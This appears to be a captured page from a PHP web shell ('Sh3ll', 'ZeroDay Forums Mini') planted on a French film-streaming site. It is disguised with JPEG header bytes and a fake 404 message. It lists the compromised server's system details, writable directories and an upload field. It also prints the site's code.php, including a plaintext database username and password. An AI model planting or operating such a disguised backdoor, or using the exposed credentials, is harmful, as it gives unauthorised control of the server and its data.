˙Ř˙ŕJFIF˙Ű„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : LiteSpeed
System : Linux v2202501248978307069 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
User : voirf6718 ( 1002)
PHP Version : 7.3.33-1+focal
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Directory :  /home/voirfilmshd-gratuit.site/home/voirfilmshd-gratuit.site/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/voirfilmshd-gratuit.site/home/voirfilmshd-gratuit.site/public_html/code.php
<!DOCTYPE html>
<html>
<head>
    <style>
   

  body {
    min-width: 400px;
    height: 400px;
  }
  .centered {
    width: 1100px;
    margin: auto;
  }
  .circle {
    border-radius: 50%;
  }
  #footer {
    background-color: lightgray;
    text-align: center;
    padding: 20px;
    position: fixed;
    bottom: 0;
    left: 0;
    right: 0;
    }
   

  

</style>
  <title>Code aléatoire</title>
  <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" integrity="sha384-JcKb8q3iqJ61gNV9KGb8thSsNjpSL0n8PARn9HuZOnIxN0hoP+VmmDGMN5t9UJ0Z" crossorigin="anonymous">
  <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.14.0/css/all.css" integrity="sha384-HzLeBuhoNPvSl5KYnjx0BT+WB0QEEqLprO+NBkkk5gbc67FTaL7XIGa2w1L0Xbgc" crossorigin="anonymous">
</head>
<body>
   <?php
// Connexion à la base de données
$host = "localhost";
$user = "voir_films_user";
$password = "2Kf86+sO2ckuFJbh";
$dbname = "voir_voirfilmshd_bdd";

// $pdo = new PDO('mysql:host=localhost;port=3306;dbname=voir_voirfilmshd_bdd;','voir_films_user','2Kf86+sO2ckuFJbh');
    

$conn = mysqli_connect($host, $user, $password, $dbname);

// VĂ©rifie la connexion
if (!$conn) {
  die("Connection failed: " . mysqli_connect_error());
}

// SĂ©lectionne la colonne download_pin de la table settings_table
$sql = "SELECT download_pin FROM settings_table";
$result = mysqli_query($conn, $sql);

// Affiche le rsultat de la requĂŞte
if (mysqli_num_rows($result) > 0) {
    echo '<div class="container mt-5">';
    echo '<div class="row justify-content-center">';
    echo '<div class="col-6 text-center centered" style="border: 0px solid black">';
  while($row = mysqli_fetch_assoc($result)) {
    echo '</br>';
    echo '<img src="flashstream_sans_.png" alt="Image" class="circle" style="width: 100px; height: 100px">';
    echo '</br>';
    echo '</br>';
    echo '<h4 style="text-align: center">Code d\'accès Flash Films HD</h4>';
    echo '</br>';
   // echo '<div id="download_pin" style="font-size:85px">'.$row["download_pin"].'</div>';
    echo '<div id="download_pin" class="display-3" spellcheck="false" style="position: static; float: none; font-weight: 700;">'.$row["download_pin"].'</div>';
    echo '</br>';
    echo '<button id="copy-button" onclick="copyPin()" class="btn btn-lg btn-success" href="#" role="button" style="margin-bottom: 20px;" spellcheck="false"><i class="fas fa-copy"></i> Copy</button>';
   // echo '<button id="copy-button" onclick="refreshPage()" class="btn btn-primary" href="#" role="button" style="margin-bottom: 20px; margin-left: 20px;" spellcheck="false"><i class="fas fa-sync"></i> Refresh</button>';
    
    echo '<p class="lead" spellcheck="false" style="line-height: 26px; font-size:16px; width: auto; letter-spacing: 0px; text-align: center; height: 74px; min-height: 1px;">Copier ce code et coller-le dans l\'application Flash Films HD. Retenez que ce code s\'expire au bout de chaque minute, Si le code que vous copié est expiré, veuillez actualiser la page pour générer un nouveau code</p>';
    
  }
  echo '</div>';
  echo '</div>';
  echo '</div>';
} else {
  echo "0 results";
}

// Ferme la connexion à la base de données
mysqli_close($conn);
?>
</br>
<div id="footer">
  <p>Copyright 2022 © Flash Films HD</p>
</div>

<script>
// Fonction qui copie le code dans le presse-papier
function copyPin() {
  // SĂ©lectionne le code
  const pin = document.getElementById("download_pin").innerText.trim().replace(/[\n\t]/g, "");
  navigator.clipboard.writeText(pin);
 // var pin = document.querySelector('#download_pin');
  var range = document.createRange();
  range.selectNode(pin);
  window.getSelection().addRange(range);

  // Copie le code dans le presse-papier
  try {
    var successful = document.execCommand('copy');
    var msg = successful ? 'successful' : 'unsuccessful';
    console.log('Copying text command was ' + msg);
  } catch (err) {
    console.log('Oops, unable to copy');
  }

  // Désélectionne le code
  window.getSelection().removeAllRanges();
  
  // Fonction qui actualise la page
function refreshPage() {
  window.location.reload(true);
}

// Actualise la page toutes les 15 secondes
setInterval(refreshPage, 15000);
}
</script>


</body>
</html>

ZeroDay Forums Mini